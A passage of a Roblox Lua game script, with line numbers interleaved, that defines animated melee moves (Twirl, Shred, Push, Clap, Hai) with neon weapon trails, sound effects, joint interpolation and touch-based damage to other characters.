		RootJoint.C0=clerp(RootJoint.C0,RootCF*cf(0,0,10)*angles(math.rad(0),math.rad(90),math.rad(0+360*i)),.3)
4997
		handleweld.C0=clerp(handleweld.C0,cf(0,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.2)
4998
        Handleweld.C0=clerp(Handleweld.C0,cf(5,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.2)  
4999
        Handle2weld.C0=clerp(Handle2weld.C0,cf(-5,0,0)*angles(math.rad(0),math.rad(180),math.rad(180)),.2) 
5000
        RW.C0=clerp(RW.C0,cf(1,0.5,0)*angles(math.rad(90),math.rad(0),math.rad(90)),.3)
5001
        LW.C0=clerp(LW.C0,cf(-1,0.5,0)*angles(math.rad(90),math.rad(0),math.rad(-90)),.3)
5002
    end
5003
    --dmgstop()
5004
Humanoid.WalkSpeed=12
5005
    attack=false
5006
    con1:disconnect()
5007
    con2:disconnect()
5008
if anim then
5009
anim.Disabled=false
5010
end
5011
if TrailDeb == true then
5012
						TrailDeb = false
5013
end
5014
end
5015
5016
function Twirl()
5017
mana=mana-50
5018
    attack=true
5019
if TrailDeb == false then
5020
							TrailDeb = true
5021
						end
5022
						
5023
5024
coroutine.wrap(function()
5025
local Old = Handle2.CFrame.p
5026
while wait()do
5027
if not TrailDeb then break end
5028
local New = Handle2.CFrame.p
5029
local Mag =(Old -New).magnitude
5030
local Dis =(Old +New)/2
5031
local Trail = Instance.new("Part",Character)
5032
Trail.Material = "Neon"
5033
Trail.Anchored = true
5034
Trail.CanCollide = false
5035
Trail.BrickColor = TorsoColor
5036
Trail.Size = Vector3.new(0.2,Mag,0.2)
5037
Trail.TopSurface = 0
5038
Trail.BottomSurface = 0
5039
Trail.formFactor = "Custom"
5040
Trail.CFrame = CFrame.new(Dis,New)* CFrame.Angles(math.pi/2,0,0)
5041
local ms = Instance.new("BlockMesh",Trail)
5042
ms.Scale = Vector3.new(1,1,1)
5043
local TM = Instance.new("CylinderMesh",Trail)
5044
TM.Scale = Vector3.new(1,1,1)
5045
Old = New
5046
coroutine.wrap(function()
5047
for i = 1,0,-0.1 do
5048
wait()
5049
TM.Scale = TM.Scale * Vector3.new(i,1,i)
5050
end
5051
Trail:remove()
5052
end)()
5053
coroutine.wrap(function()
5054
for i = 1,10 do
5055
wait()
5056
Trail.Transparency = Trail.Transparency +0.1
5057
end end)()end end)()
5058
coroutine.wrap(function()
5059
local Old = Handle.CFrame.p
5060
while wait()do
5061
if not TrailDeb then break end
5062
local New = Handle.CFrame.p
5063
local Mag =(Old -New).magnitude
5064
local Dis =(Old +New)/2
5065
local Trail = Instance.new("Part",Character)
5066
Trail.Material = "Neon"
5067
Trail.Anchored = true
5068
Trail.CanCollide = false
5069
Trail.BrickColor = TorsoColor
5070
Trail.Size = Vector3.new(0.2,Mag,0.2)
5071
Trail.TopSurface = 0
5072
Trail.BottomSurface = 0
5073
Trail.formFactor = "Custom"
5074
Trail.CFrame = CFrame.new(Dis,New)* CFrame.Angles(math.pi/2,0,0)
5075
local ms = Instance.new("BlockMesh",Trail)
5076
ms.Scale = Vector3.new(1,1,1)
5077
local TM = Instance.new("CylinderMesh",Trail)
5078
TM.Scale = Vector3.new(1,1,1)
5079
Old = New
5080
coroutine.wrap(function()
5081
for i = 1,0,-0.1 do
5082
wait()
5083
TM.Scale = TM.Scale * Vector3.new(i,1,i)
5084
end
5085
Trail:remove()
5086
end)()
5087
coroutine.wrap(function()
5088
for i = 1,10 do
5089
wait()
5090
Trail.Transparency = Trail.Transparency +0.1
5091
end end)()end end)()
5092
	Footsteps:Stop()
5093
	Footsteps2:Stop()
5094
    con1=Gear2.Touched:connect(function(hit) Damagefunc(hit,20,30,math.random(20,40),"Normal",RootPart,.2,1) end) 
5095
    con2=Gear.Touched:connect(function(hit) Damagefunc(hit,20,30,math.random(20,40),"Normal",RootPart,.2,1) end) 
5096
    so("http://www.roblox.com/asset/?id=159882598",Torso,1,1)
5097
    for i=0,1,0.1 do
5098
        swait()
5099
		RootJoint.C0=clerp(RootJoint.C0,RootCF*cf(0,0,10)*angles(math.rad(0),math.rad(0),math.rad(0)),.3)
5100
		handleweld.C0=clerp(handleweld.C0,cf(0,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.2)
5101
        Handleweld.C0=clerp(Handleweld.C0,cf(5,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.2)  
5102
        Handle2weld.C0=clerp(Handle2weld.C0,cf(-5,0,0)*angles(math.rad(0),math.rad(180),math.rad(180)),.2)  
5103
        RW.C0=clerp(RW.C0,cf(1.5,0.5,0)*angles(math.rad(90),math.rad(0),math.rad(90)),.3)
5104
        LW.C0=clerp(LW.C0,cf(-1.5,0.5,0)*angles(math.rad(90),math.rad(0),math.rad(-90)),.3)
5105
    end
5106
if anim then
5107
anim.Disabled=true
5108
end
5109
    so("http://www.roblox.com/asset/?id=231917758",LeftArm,1,1) 
5110
    so("http://www.roblox.com/asset/?id=231917758",RightArm,1,0.8) 
5111
    for i=0,1,0.05 do
5112
        swait()
5113
        Torso.Velocity=RootPart.CFrame.lookVector*80
5114
		RootJoint.C0=clerp(RootJoint.C0,RootCF*cf(0,0,10)*angles(math.rad(90),math.rad(0),math.rad(0+360*i)),.3)
5115
		handleweld.C0=clerp(handleweld.C0,cf(0,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.2)
5116
        Handleweld.C0=clerp(Handleweld.C0,cf(5,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.2)  
5117
        Handle2weld.C0=clerp(Handle2weld.C0,cf(-5,0,0)*angles(math.rad(0),math.rad(180),math.rad(180)),.2) 
5118
        RW.C0=clerp(RW.C0,cf(1,0.5,0)*angles(math.rad(90),math.rad(0),math.rad(90)),.3)
5119
        LW.C0=clerp(LW.C0,cf(-1,0.5,0)*angles(math.rad(90),math.rad(0),math.rad(-90)),.3)
5120
    end
5121
    so("http://www.roblox.com/asset/?id=231917758",LeftArm,1,1) 
5122
    so("http://www.roblox.com/asset/?id=231917758",RightArm,1,0.8) 
5123
    for i=0,1,0.05 do
5124
        swait()
5125
        Torso.Velocity=RootPart.CFrame.lookVector*80
5126
		RootJoint.C0=clerp(RootJoint.C0,RootCF*cf(0,0,10)*angles(math.rad(90),math.rad(0),math.rad(0+360*i)),.3)
5127
		handleweld.C0=clerp(handleweld.C0,cf(0,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.2)
5128
        Handleweld.C0=clerp(Handleweld.C0,cf(5,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.2)  
5129
        Handle2weld.C0=clerp(Handle2weld.C0,cf(-5,0,0)*angles(math.rad(0),math.rad(180),math.rad(180)),.2) 
5130
        RW.C0=clerp(RW.C0,cf(1,0.5,0)*angles(math.rad(90),math.rad(0),math.rad(90)),.3)
5131
        LW.C0=clerp(LW.C0,cf(-1,0.5,0)*angles(math.rad(90),math.rad(0),math.rad(-90)),.3)
5132
    end
5133
    so("http://www.roblox.com/asset/?id=231917758",LeftArm,1,1) 
5134
    so("http://www.roblox.com/asset/?id=231917758",RightArm,1,0.8) 
5135
    for i=0,1,0.05 do
5136
        swait()
5137
        Torso.Velocity=RootPart.CFrame.lookVector*80
5138
		RootJoint.C0=clerp(RootJoint.C0,RootCF*cf(0,0,10)*angles(math.rad(90),math.rad(0),math.rad(0+360*i)),.3)
5139
		handleweld.C0=clerp(handleweld.C0,cf(0,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.2)
5140
        Handleweld.C0=clerp(Handleweld.C0,cf(5,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.2)  
5141
        Handle2weld.C0=clerp(Handle2weld.C0,cf(-5,0,0)*angles(math.rad(0),math.rad(180),math.rad(180)),.2) 
5142
        RW.C0=clerp(RW.C0,cf(1,0.5,0)*angles(math.rad(90),math.rad(0),math.rad(90)),.3)
5143
        LW.C0=clerp(LW.C0,cf(-1,0.5,0)*angles(math.rad(90),math.rad(0),math.rad(-90)),.3)
5144
    end
5145
    so("http://www.roblox.com/asset/?id=231917758",LeftArm,1,1) 
5146
    so("http://www.roblox.com/asset/?id=231917758",RightArm,1,0.8) 
5147
    for i=0,1,0.05 do
5148
        swait()
5149
        Torso.Velocity=RootPart.CFrame.lookVector*80
5150
		RootJoint.C0=clerp(RootJoint.C0,RootCF*cf(0,0,10)*angles(math.rad(90),math.rad(0),math.rad(0+360*i)),.3)
5151
		handleweld.C0=clerp(handleweld.C0,cf(0,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.2)
5152
        Handleweld.C0=clerp(Handleweld.C0,cf(5,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.2)  
5153
        Handle2weld.C0=clerp(Handle2weld.C0,cf(-5,0,0)*angles(math.rad(0),math.rad(180),math.rad(180)),.2) 
5154
        RW.C0=clerp(RW.C0,cf(1,0.5,0)*angles(math.rad(90),math.rad(0),math.rad(90)),.3)
5155
        LW.C0=clerp(LW.C0,cf(-1,0.5,0)*angles(math.rad(90),math.rad(0),math.rad(-90)),.3)
5156
    end
5157
    --dmgstop()
5158
Humanoid.WalkSpeed=12
5159
    attack=false
5160
    con1:disconnect()
5161
    con2:disconnect()
5162
if anim then
5163
anim.Disabled=false
5164
end
5165
if TrailDeb == true then
5166
						TrailDeb = false
5167
end
5168
end
5169
5170
function Shred()
5171
    attack=true
5172
    mana=mana-100
5173
if TrailDeb == false then
5174
							TrailDeb = true
5175
						end
5176
						
5177
5178
coroutine.wrap(function()
5179
local Old = Handle2.CFrame.p
5180
while wait()do
5181
if not TrailDeb then break end
5182
local New = Handle2.CFrame.p
5183
local Mag =(Old -New).magnitude
5184
local Dis =(Old +New)/2
5185
local Trail = Instance.new("Part",Character)
5186
Trail.Material = "Neon"
5187
Trail.Anchored = true
5188
Trail.CanCollide = false
5189
Trail.BrickColor = TorsoColor
5190
Trail.Size = Vector3.new(0.2,Mag,0.2)
5191
Trail.TopSurface = 0
5192
Trail.BottomSurface = 0
5193
Trail.formFactor = "Custom"
5194
Trail.CFrame = CFrame.new(Dis,New)* CFrame.Angles(math.pi/2,0,0)
5195
local ms = Instance.new("BlockMesh",Trail)
5196
ms.Scale = Vector3.new(1,1,1)
5197
local TM = Instance.new("CylinderMesh",Trail)
5198
TM.Scale = Vector3.new(1,1,1)
5199
Old = New
5200
coroutine.wrap(function()
5201
for i = 1,0,-0.1 do
5202
wait()
5203
TM.Scale = TM.Scale * Vector3.new(i,1,i)
5204
end
5205
Trail:remove()
5206
end)()
5207
coroutine.wrap(function()
5208
for i = 1,10 do
5209
wait()
5210
Trail.Transparency = Trail.Transparency +0.1
5211
end end)()end end)()
5212
coroutine.wrap(function()
5213
local Old = Handle.CFrame.p
5214
while wait()do
5215
if not TrailDeb then break end
5216
local New = Handle.CFrame.p
5217
local Mag =(Old -New).magnitude
5218
local Dis =(Old +New)/2
5219
local Trail = Instance.new("Part",Character)
5220
Trail.Material = "Neon"
5221
Trail.Anchored = true
5222
Trail.CanCollide = false
5223
Trail.BrickColor = TorsoColor
5224
Trail.Size = Vector3.new(0.2,Mag,0.2)
5225
Trail.TopSurface = 0
5226
Trail.BottomSurface = 0
5227
Trail.formFactor = "Custom"
5228
Trail.CFrame = CFrame.new(Dis,New)* CFrame.Angles(math.pi/2,0,0)
5229
local ms = Instance.new("BlockMesh",Trail)
5230
ms.Scale = Vector3.new(1,1,1)
5231
local TM = Instance.new("CylinderMesh",Trail)
5232
TM.Scale = Vector3.new(1,1,1)
5233
Old = New
5234
coroutine.wrap(function()
5235
for i = 1,0,-0.1 do
5236
wait()
5237
TM.Scale = TM.Scale * Vector3.new(i,1,i)
5238
end
5239
Trail:remove()
5240
end)()
5241
coroutine.wrap(function()
5242
for i = 1,10 do
5243
wait()
5244
Trail.Transparency = Trail.Transparency +0.1
5245
end end)()end end)()
5246
	Footsteps:Stop()
5247
	Footsteps2:Stop()
5248
    con1=Gear2.Touched:connect(function(hit) Damagefunc(hit,30,40,math.random(20,40),"Normal",RootPart,.2,1) end) 
5249
    con2=Gear.Touched:connect(function(hit) Damagefunc(hit,30,40,math.random(20,40),"Normal",RootPart,.2,1) end) 
5250
    so("http://www.roblox.com/asset/?id=159882578",Torso,1,1) 
5251
    for i=0,1,0.1 do
5252
        swait()
5253
		RootJoint.C0=clerp(RootJoint.C0,RootCF*cf(0,0,3)*angles(math.rad(0),math.rad(0),math.rad(0)),.3)
5254
		handleweld.C0=clerp(handleweld.C0,cf(0,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.2)
5255
        Handleweld.C0=clerp(Handleweld.C0,cf(5,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.2)  
5256
        Handle2weld.C0=clerp(Handle2weld.C0,cf(-5,0,0)*angles(math.rad(0),math.rad(180),math.rad(180)),.2)  
5257
        RW.C0=clerp(RW.C0,cf(1.5,0.5,0)*angles(math.rad(90),math.rad(0),math.rad(90)),.3)
5258
        LW.C0=clerp(LW.C0,cf(-1.5,0.5,0)*angles(math.rad(90),math.rad(0),math.rad(-90)),.3)
5259
    end
5260
if anim then
5261
anim.Disabled=true
5262
end
5263
    for i=0,1,0.05 do
5264
        swait()
5265
        Torso.Velocity=RootPart.CFrame.lookVector*20
5266
        so("http://www.roblox.com/asset/?id=231917758",LeftArm,0.2,1.2) 
5267
    	so("http://www.roblox.com/asset/?id=231917758",RightArm,0.2,1) 
5268
		RootJoint.C0=clerp(RootJoint.C0,RootCF*cf(0,0,3)*angles(math.rad(0),math.rad(0),math.rad(0+40*i)),.5)
5269
		handleweld.C0=clerp(handleweld.C0,cf(0,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.2)
5270
        Handleweld.C0=clerp(Handleweld.C0,cf(5,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.2)  
5271
        Handle2weld.C0=clerp(Handle2weld.C0,cf(-5,0,0)*angles(math.rad(0),math.rad(180),math.rad(180)),.2) 
5272
        RW.C0=clerp(RW.C0,cf(1.5,0.5,0)*angles(math.rad(90),math.rad(0),math.rad(90)),.3)
5273
        LW.C0=clerp(LW.C0,cf(-1.5,0.5,0)*angles(math.rad(90),math.rad(0),math.rad(-90)),.3)
5274
    end
5275
    for i=0,1,0.05 do
5276
        swait()
5277
        Torso.Velocity=RootPart.CFrame.lookVector*40
5278
        so("http://www.roblox.com/asset/?id=231917758",LeftArm,0.2,1.2) 
5279
    	so("http://www.roblox.com/asset/?id=231917758",RightArm,0.2,1) 
5280
		RootJoint.C0=clerp(RootJoint.C0,RootCF*cf(0,0,3)*angles(math.rad(0),math.rad(0),math.rad(41+80*i)),.5)
5281
		handleweld.C0=clerp(handleweld.C0,cf(0,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.2)
5282
        Handleweld.C0=clerp(Handleweld.C0,cf(5,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.2)  
5283
        Handle2weld.C0=clerp(Handle2weld.C0,cf(-5,0,0)*angles(math.rad(0),math.rad(180),math.rad(180)),.2) 
5284
        RW.C0=clerp(RW.C0,cf(1.5,0.5,0)*angles(math.rad(90),math.rad(0),math.rad(90)),.3)
5285
        LW.C0=clerp(LW.C0,cf(-1.5,0.5,0)*angles(math.rad(90),math.rad(0),math.rad(-90)),.3)
5286
    end
5287
    for i=0,1,0.05 do
5288
        swait()
5289
        Torso.Velocity=RootPart.CFrame.lookVector*60
5290
        so("http://www.roblox.com/asset/?id=231917758",LeftArm,0.2,1.2) 
5291
    	so("http://www.roblox.com/asset/?id=231917758",RightArm,0.2,1) 
5292
		RootJoint.C0=clerp(RootJoint.C0,RootCF*cf(0,0,3)*angles(math.rad(0),math.rad(0),math.rad(82+120*i)),.5)
5293
		handleweld.C0=clerp(handleweld.C0,cf(0,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.2)
5294
        Handleweld.C0=clerp(Handleweld.C0,cf(5,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.2)  
5295
        Handle2weld.C0=clerp(Handle2weld.C0,cf(-5,0,0)*angles(math.rad(0),math.rad(180),math.rad(180)),.2) 
5296
        RW.C0=clerp(RW.C0,cf(1.5,0.5,0)*angles(math.rad(90),math.rad(0),math.rad(90)),.3)
5297
        LW.C0=clerp(LW.C0,cf(-1.5,0.5,0)*angles(math.rad(90),math.rad(0),math.rad(-90)),.3)
5298
    end
5299
    so("http://www.roblox.com/asset/?id=159882625",Torso,1,1)
5300
    so("http://www.roblox.com/asset/?id=231917758",Torso,1,0.1)
5301
    so("http://www.roblox.com/asset/?id=231917758",Torso,1,0.1)
5302
    so("http://www.roblox.com/asset/?id=231917758",Torso,1,0.1)
5303
    so("http://www.roblox.com/asset/?id=231917758",Torso,1,0.1)
5304
    for i=0,1,0.05 do
5305
        swait()
5306
        Torso.Velocity=RootPart.CFrame.lookVector*80
5307
		RootJoint.C0=clerp(RootJoint.C0,RootCF*cf(0,0,3)*angles(math.rad(0),math.rad(0),math.rad(124+160*i)),.5)
5308
		handleweld.C0=clerp(handleweld.C0,cf(0,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.2)
5309
        Handleweld.C0=clerp(Handleweld.C0,cf(5,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.2)  
5310
        Handle2weld.C0=clerp(Handle2weld.C0,cf(-5,0,0)*angles(math.rad(0),math.rad(180),math.rad(180)),.2) 
5311
        RW.C0=clerp(RW.C0,cf(1.5,0.5,0)*angles(math.rad(90),math.rad(0),math.rad(90)),.3)
5312
        LW.C0=clerp(LW.C0,cf(-1.5,0.5,0)*angles(math.rad(90),math.rad(0),math.rad(-90)),.3)
5313
    end
5314
    for i=0,1,0.005 do
5315
        swait()
5316
        Torso.Velocity=RootPart.CFrame.lookVector*100
5317
		RootJoint.C0=clerp(RootJoint.C0,RootCF*cf(0,0,3)*angles(math.rad(0),math.rad(0),math.rad(168+4200*i)),.5)
5318
		handleweld.C0=clerp(handleweld.C0,cf(0,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.2)
5319
        Handleweld.C0=clerp(Handleweld.C0,cf(5,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.2)  
5320
        Handle2weld.C0=clerp(Handle2weld.C0,cf(-5,0,0)*angles(math.rad(0),math.rad(180),math.rad(180)),.2) 
5321
        RW.C0=clerp(RW.C0,cf(1.5,0.5,0)*angles(math.rad(90),math.rad(0),math.rad(90)),.3)
5322
        LW.C0=clerp(LW.C0,cf(-1.5,0.5,0)*angles(math.rad(90),math.rad(0),math.rad(-90)),.3)
5323
    end
5324
    --dmgstop()
5325
Humanoid.WalkSpeed=12
5326
    attack=false
5327
    con1:disconnect()
5328
    con2:disconnect()
5329
if anim then
5330
anim.Disabled=false
5331
end
5332
if TrailDeb == true then
5333
						TrailDeb = false
5334
end
5335
end
5336
5337
function Push()
5338
    attack=true
5339
    mana=mana-20
5340
if TrailDeb == false then
5341
							TrailDeb = true
5342
						end
5343
						
5344
5345
coroutine.wrap(function()
5346
local Old = Handle2.CFrame.p
5347
while wait()do
5348
if not TrailDeb then break end
5349
local New = Handle2.CFrame.p
5350
local Mag =(Old -New).magnitude
5351
local Dis =(Old +New)/2
5352
local Trail = Instance.new("Part",Character)
5353
Trail.Material = "Neon"
5354
Trail.Anchored = true
5355
Trail.CanCollide = false
5356
Trail.BrickColor = TorsoColor
5357
Trail.Size = Vector3.new(0.2,Mag,0.2)
5358
Trail.TopSurface = 0
5359
Trail.BottomSurface = 0
5360
Trail.formFactor = "Custom"
5361
Trail.CFrame = CFrame.new(Dis,New)* CFrame.Angles(math.pi/2,0,0)
5362
local ms = Instance.new("BlockMesh",Trail)
5363
ms.Scale = Vector3.new(1,1,1)
5364
local TM = Instance.new("CylinderMesh",Trail)
5365
TM.Scale = Vector3.new(1,1,1)
5366
Old = New
5367
coroutine.wrap(function()
5368
for i = 1,0,-0.1 do
5369
wait()
5370
TM.Scale = TM.Scale * Vector3.new(i,1,i)
5371
end
5372
Trail:remove()
5373
end)()
5374
coroutine.wrap(function()
5375
for i = 1,10 do
5376
wait()
5377
Trail.Transparency = Trail.Transparency +0.1
5378
end end)()end end)()
5379
coroutine.wrap(function()
5380
local Old = Handle.CFrame.p
5381
while wait()do
5382
if not TrailDeb then break end
5383
local New = Handle.CFrame.p
5384
local Mag =(Old -New).magnitude
5385
local Dis =(Old +New)/2
5386
local Trail = Instance.new("Part",Character)
5387
Trail.Material = "Neon"
5388
Trail.Anchored = true
5389
Trail.CanCollide = false
5390
Trail.BrickColor = TorsoColor
5391
Trail.Size = Vector3.new(0.2,Mag,0.2)
5392
Trail.TopSurface = 0
5393
Trail.BottomSurface = 0
5394
Trail.formFactor = "Custom"
5395
Trail.CFrame = CFrame.new(Dis,New)* CFrame.Angles(math.pi/2,0,0)
5396
local ms = Instance.new("BlockMesh",Trail)
5397
ms.Scale = Vector3.new(1,1,1)
5398
local TM = Instance.new("CylinderMesh",Trail)
5399
TM.Scale = Vector3.new(1,1,1)
5400
Old = New
5401
coroutine.wrap(function()
5402
for i = 1,0,-0.1 do
5403
wait()
5404
TM.Scale = TM.Scale * Vector3.new(i,1,i)
5405
end
5406
Trail:remove()
5407
end)()
5408
coroutine.wrap(function()
5409
for i = 1,10 do
5410
wait()
5411
Trail.Transparency = Trail.Transparency +0.1
5412
end end)()end end)()
5413
    con1=Gear2.Touched:connect(function(hit) Damagefunc(hit,10,20,math.random(20,40),"Normal",RootPart,.2,1) end) 
5414
    con2=Gear.Touched:connect(function(hit) Damagefunc(hit,10,20,math.random(20,40),"Normal",RootPart,.2,1) end) 
5415
    for i=0,1,0.1 do
5416
        swait()
5417
		RootJoint.C0=clerp(RootJoint.C0,RootCF*cf(0,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.3)
5418
		Torso.Neck.C0=clerp(Torso.Neck.C0,necko*euler(0,0,0),.2)
5419
		handleweld.C0=clerp(handleweld.C0,cf(0,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.2)
5420
        Handleweld.C0=clerp(Handleweld.C0,cf(-5,0,-10)*angles(math.rad(20),math.rad(-20),math.rad(0)),.2)  
5421
        Handle2weld.C0=clerp(Handle2weld.C0,cf(5,0,-10)*angles(math.rad(20),math.rad(20),math.rad(0)),.2)  
5422
        RW.C0=clerp(RW.C0,cf(1.5,0.5,0)*angles(math.rad(90),math.rad(0),math.rad(-20)),.3)
5423
        LW.C0=clerp(LW.C0,cf(-1.5,0.5,0)*angles(math.rad(90),math.rad(0),math.rad(20)),.3)
5424
    end
5425
    so("http://www.roblox.com/asset/?id=231917758",Handle2,1,.8) 
5426
    so("http://www.roblox.com/asset/?id=231917758",Handle,1,1) 
5427
    so("http://www.roblox.com/asset/?id=159882481",Torso,1,1) 
5428
    for i=0,1,0.1 do
5429
        swait()
5430
		RootJoint.C0=clerp(RootJoint.C0,RootCF*cf(0,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.3)
5431
		Torso.Neck.C0=clerp(Torso.Neck.C0,necko*euler(0,0,0),.2)
5432
		handleweld.C0=clerp(handleweld.C0,cf(0,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.2)
5433
        Handleweld.C0=clerp(Handleweld.C0,cf(-4,0,-20)*angles(math.rad(20),math.rad(-20),math.rad(0)),.2)  
5434
        Handle2weld.C0=clerp(Handle2weld.C0,cf(4,0,-20)*angles(math.rad(20),math.rad(20),math.rad(0)),.2)  
5435
        RW.C0=clerp(RW.C0,cf(1,0.5,-1)*angles(math.rad(90),math.rad(0),math.rad(-20)),.3)
5436
        LW.C0=clerp(LW.C0,cf(-1,0.5,-1)*angles(math.rad(90),math.rad(0),math.rad(20)),.3)
5437
    end
5438
    --dmgstop()
5439
    attack=false
5440
    con1:disconnect()
5441
    con2:disconnect()
5442
if TrailDeb == true then
5443
						TrailDeb = false
5444
end
5445
end
5446
5447
function Clap()
5448
    attack=true
5449
    mana=mana-20
5450
if TrailDeb == false then
5451
							TrailDeb = true
5452
						end
5453
						
5454
5455
coroutine.wrap(function()
5456
local Old = Handle2.CFrame.p
5457
while wait()do
5458
if not TrailDeb then break end
5459
local New = Handle2.CFrame.p
5460
local Mag =(Old -New).magnitude
5461
local Dis =(Old +New)/2
5462
local Trail = Instance.new("Part",Character)
5463
Trail.Material = "Neon"
5464
Trail.Anchored = true
5465
Trail.CanCollide = false
5466
Trail.BrickColor = TorsoColor
5467
Trail.Size = Vector3.new(0.2,Mag,0.2)
5468
Trail.TopSurface = 0
5469
Trail.BottomSurface = 0
5470
Trail.formFactor = "Custom"
5471
Trail.CFrame = CFrame.new(Dis,New)* CFrame.Angles(math.pi/2,0,0)
5472
local ms = Instance.new("BlockMesh",Trail)
5473
ms.Scale = Vector3.new(1,1,1)
5474
local TM = Instance.new("CylinderMesh",Trail)
5475
TM.Scale = Vector3.new(1,1,1)
5476
Old = New
5477
coroutine.wrap(function()
5478
for i = 1,0,-0.1 do
5479
wait()
5480
TM.Scale = TM.Scale * Vector3.new(i,1,i)
5481
end
5482
Trail:remove()
5483
end)()
5484
coroutine.wrap(function()
5485
for i = 1,10 do
5486
wait()
5487
Trail.Transparency = Trail.Transparency +0.1
5488
end end)()end end)()
5489
coroutine.wrap(function()
5490
local Old = Handle.CFrame.p
5491
while wait()do
5492
if not TrailDeb then break end
5493
local New = Handle.CFrame.p
5494
local Mag =(Old -New).magnitude
5495
local Dis =(Old +New)/2
5496
local Trail = Instance.new("Part",Character)
5497
Trail.Material = "Neon"
5498
Trail.Anchored = true
5499
Trail.CanCollide = false
5500
Trail.BrickColor = TorsoColor
5501
Trail.Size = Vector3.new(0.2,Mag,0.2)
5502
Trail.TopSurface = 0
5503
Trail.BottomSurface = 0
5504
Trail.formFactor = "Custom"
5505
Trail.CFrame = CFrame.new(Dis,New)* CFrame.Angles(math.pi/2,0,0)
5506
local ms = Instance.new("BlockMesh",Trail)
5507
ms.Scale = Vector3.new(1,1,1)
5508
local TM = Instance.new("CylinderMesh",Trail)
5509
TM.Scale = Vector3.new(1,1,1)
5510
Old = New
5511
coroutine.wrap(function()
5512
for i = 1,0,-0.1 do
5513
wait()
5514
TM.Scale = TM.Scale * Vector3.new(i,1,i)
5515
end
5516
Trail:remove()
5517
end)()
5518
coroutine.wrap(function()
5519
for i = 1,10 do
5520
wait()
5521
Trail.Transparency = Trail.Transparency +0.1
5522
end end)()end end)()
5523
    con1=Gear2.Touched:connect(function(hit) Damagefunc(hit,20,30,math.random(20,40),"Normal",RootPart,.2,1) end) 
5524
    con2=Gear.Touched:connect(function(hit) Damagefunc(hit,20,30,math.random(20,40),"Normal",RootPart,.2,1) end) 
5525
    so("http://www.roblox.com/asset/?id=159882584",Torso,1,0.9) 
5526
    for i=0,1,0.08 do
5527
        swait()
5528
		RootJoint.C0=clerp(RootJoint.C0,RootCF*cf(0,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.3)
5529
        Torso.Neck.C0=clerp(Torso.Neck.C0,necko*euler(0,0,0),.2)
5530
        handleweld.C0=clerp(handleweld.C0,cf(0,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.2)
5531
        Handle2weld.C0=clerp(Handle2weld.C0,cf(-5,1,-5)*angles(math.rad(0),math.rad(-40),math.rad(20)),.2)
5532
        Handleweld.C0=clerp(Handleweld.C0,cf(5,1,-5)*angles(math.rad(0),math.rad(40),math.rad(-20)),.2)
5533
        LW.C0=clerp(LW.C0,cf(-1.5,0.5,0)*euler(-30,0,-20),.3)
5534
        RW.C0=clerp(RW.C0,cf(1.5,0.5,0)*euler(-30,0,20),.3)
5535
    end
5536
    so("http://www.roblox.com/asset/?id=231917758",Handle2,1,.8) 
5537
    so("http://www.roblox.com/asset/?id=231917758",Handle,1,1) 
5538
    for i=0,1,0.08 do
5539
        swait()
5540
		RootJoint.C0=clerp(RootJoint.C0,RootCF*cf(0,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.3)
5541
        Torso.Neck.C0=clerp(Torso.Neck.C0,necko*euler(0,0,0),.2)
5542
        handleweld.C0=clerp(handleweld.C0,cf(0,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.2)
5543
        Handle2weld.C0=clerp(Handle2weld.C0,cf(4,1,-5)*angles(math.rad(0),math.rad(-43),math.rad(20)),.2)
5544
        Handleweld.C0=clerp(Handleweld.C0,cf(-4,1,-5)*angles(math.rad(0),math.rad(43),math.rad(-20)),.2)
5545
        LW.C0=clerp(LW.C0,cf(-1,0.5,-1)*euler(-30,0,20),.3)
5546
        RW.C0=clerp(RW.C0,cf(1,0.5,-1)*euler(-30,0,-20),.3)
5547
    end
5548
    --dmgstop()
5549
    attack=false
5550
    con1:disconnect()
5551
    con2:disconnect()
5552
if TrailDeb == true then
5553
						TrailDeb = false
5554
end
5555
end
5556
5557
function Hai()
5558
    attack=true
5559
    Humanoid.WalkSpeed=0
5560
    so("http://www.roblox.com/asset/?id=159882567",Torso,1,1)
5561
    for i=0,1,0.1 do
5562
        swait()
5563
		RootJoint.C0=clerp(RootJoint.C0,RootCF*cf(0,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.3)
5564
        Torso.Neck.C0=clerp(Torso.Neck.C0,necko*euler(0,0,0),.2)
5565
        handleweld.C0=clerp(handleweld.C0,cf(0,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.2)
5566
        Handleweld.C0=clerp(Handleweld.C0,cf(0,5,3)*angles(math.rad(20),math.rad(-20),math.rad(20)),.2)
5567
        Handle2weld.C0=clerp(Handle2weld.C0,cf(0,0,0)*angles(math.rad(5),math.rad(0),math.rad(0)),.2)
5568
